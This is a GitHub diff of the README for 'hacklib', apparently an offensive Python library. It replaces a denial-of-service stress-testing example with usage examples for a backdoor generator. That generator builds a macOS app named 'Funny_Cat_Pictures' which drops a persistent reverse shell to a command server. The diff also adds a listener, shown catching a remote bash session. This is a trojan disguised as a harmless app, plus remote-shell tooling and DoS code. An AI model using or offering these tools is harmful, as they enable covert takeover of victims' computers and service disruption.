File tree Expand file tree Collapse file tree 1 file changed +20
-4
lines changed
Expand file tree Collapse file tree 1 file changed +20
-4
lines changed Original file line number Diff line number Diff line change @@ -41,13 +41,29 @@ hacklib.installDependencies()
4141```
4242-
4343#### Usage Examples
44- Multi-threaded Denial of Service (DOS) stress-testing :
44+ Reverse shell backdooring (Currently only for Macs) :
4545``` python
4646import hacklib
4747
48- dos = hacklib.DOSer()
49- # Create 50 threads to send GET requests for 30 seconds
50- dos.launch(' 127.0.0.1' , duration = 30 , threads = 50 )
48+ bd = hacklib.Backdoor()
49+ # Generates an app that drops a persistent reverse shell into the system.
50+ bd.create(' 127.0.0.1' , 9090 , ' OSX' , ' Funny_Cat_Pictures' )
51+ # Takes the IP and port of the command server, the OS of the target, and the name of the .app
52+ ```
53+ -
54+
55+ Shell listener (Use in conjunction with the backdoor):
56+ ``` python
57+ import hacklib
58+ # Create instance of Server with the listening port
59+ >> > s = hacklib.Server(9090 )
60+ >> > s.listen()
61+ New connection (' 127.0.0.1' , 51101 )
62+ bash: no job control in this shell
63+ bash- 3.2 $ whoami
64+ leon
65+ bash- 3.2 $
66+ # Sweet!
5167```
5268-
5369Universal login client for almost all HTTP/HTTPS form-based logins and HTTP Basic Authentication logins:
You can’t perform that action at this time.
0 commit comments